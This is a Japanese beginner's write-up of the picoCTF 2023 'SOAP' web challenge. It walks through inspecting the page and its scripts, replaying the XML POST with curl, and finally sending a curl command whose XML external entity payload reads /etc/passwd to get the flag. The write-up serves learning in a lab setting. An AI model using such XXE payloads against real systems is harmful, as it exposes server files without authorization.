WriteUp: picoCTF 2023 - SOAP
はじめに
こんにちは。CTF初心者のロイといいます。
今回はpicoCTFのSOAP(Medium, Web Exploitation)を解いたので、WriteUpを残しておきます。
解法だけでなく、なるべく思考の過程を残したいと思っていますので、ご参考になれば幸いです。
問題概要
Descriptionによると「セキュリティ評価ができずデプロイされてしまったwebプロジェクトがあります。/etc/passwdを読むことができるかな?」といった感じです。
challenge instanceを立ち上げて、リンクをブラウザで開いてみると、こんな感じです。
ここからどうやって/etc/passwdを読み取るのか、考えていきます!
まずは画面をしらみつぶし
最初は、とっつき易い画面から見ていきます。
といっても、押せるところはDetailsボタンくらいしかないので、押してみます。
すると、以下のような画面が表示されました。

Special Info::::の後にテキストが表示されています。
他のDetailsボタンを押すと、別のテキストが表示されます。
画面を操作して得られる情報はこれくらいでした。
ブラウザの開発者ツールでみる
次に、ブラウザの開発者ツールを使って、HTMLやJavaScript等を確認してみます。
まずは、HTMLを確認してみます。
すると、以下のようなHTML要素が見つかりました。
<span id="detailsResult"><strong>Special Info::::</strong> University in Kigali, Rwanda offereing MSECE, MSIT and MS EAI</span>
この要素は、先ほど画面で見たDetailsボタンを押したときに表示される内容です。
次に、JavaScriptを確認してみます。(Sourcesタブから)
jsのdetailsCheck.jsとxmlDetailsCheckPayload.jsを見てみると、以下のようなことをしているとわかります。
detailFormというHTMLタグでsubmitが実行されたら、checkDetails関数が呼び出される。
checkDetails関数は、payload関数で組み立てたxmlをリクエストbodyとして/dataへPOSTする。
そのレスポンスは、detailsResultというHTML要素に格納される。
このことから、/dataにxmlデータをPOSTすることで、何らかのレスポンスが得られることがわかりました。
では、実際にどのようなxmlを送っているのか確認します。
開発者ツールのNetworkタブを開いた状態で、画面のDetailsボタンを押すと、data(下画像)が確認できます。

dataを選択し、Payloadタブを選択するとRequestPayload(xml)が確認できます。
自身の環境からも試してみる
では、確認したxmlデータを使って自身のターミナルからレスポンスが得られるか試してみます。
curlコマンドを使って、/dataにxmlをPOSTで送ります。
$ curl -v -X POST http://saturn.picoctf.net:62564/data -H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>'
すると、以下のようなレスポンスが返ってきました。
<strong>Special Info::::</strong> University in Kigali, Rwanda offereing MSECE, MSIT and MS EAI
このレスポンスは、先ほど画面で見た内容と同じですね。
次は、どうやって/etc/passwdをみるかを考えていきたいと思います。
ヒントのXML external entity Injectionとは?
問題のヒントに「XML external entity Injection」という文字がありましたね。
それについて、調べてみます。
XMLエンティティとは、データのプレースホルダでテキストや文書を埋め込むことができるそうです。
そして、外部のドキュメントを参照するものを、外部エンティティと呼ぶそうです。
つまり、/etc/passwdも外部エンティティとして埋め込むことができるかもしれません。
外部エンティティを取り込むxmlの書き方は下記の通りです。(例としてcontent.txtを取り込み)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "content.txt">]>
<data>
<ID>&xxe;</ID>
</data>
ここまで来たら、あとは/etc/passwdにしてcurlを投げるだけですね。
最後の一撃
では、実際にcurlを投げてみます。
$ curl -v -X POST http://saturn.picoctf.net:62564/data -H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "/etc/passwd">]><data><ID>&xxe;</ID></data>'
すると、以下画像のようなレスポンスが返ってきました。

flagが表示されました!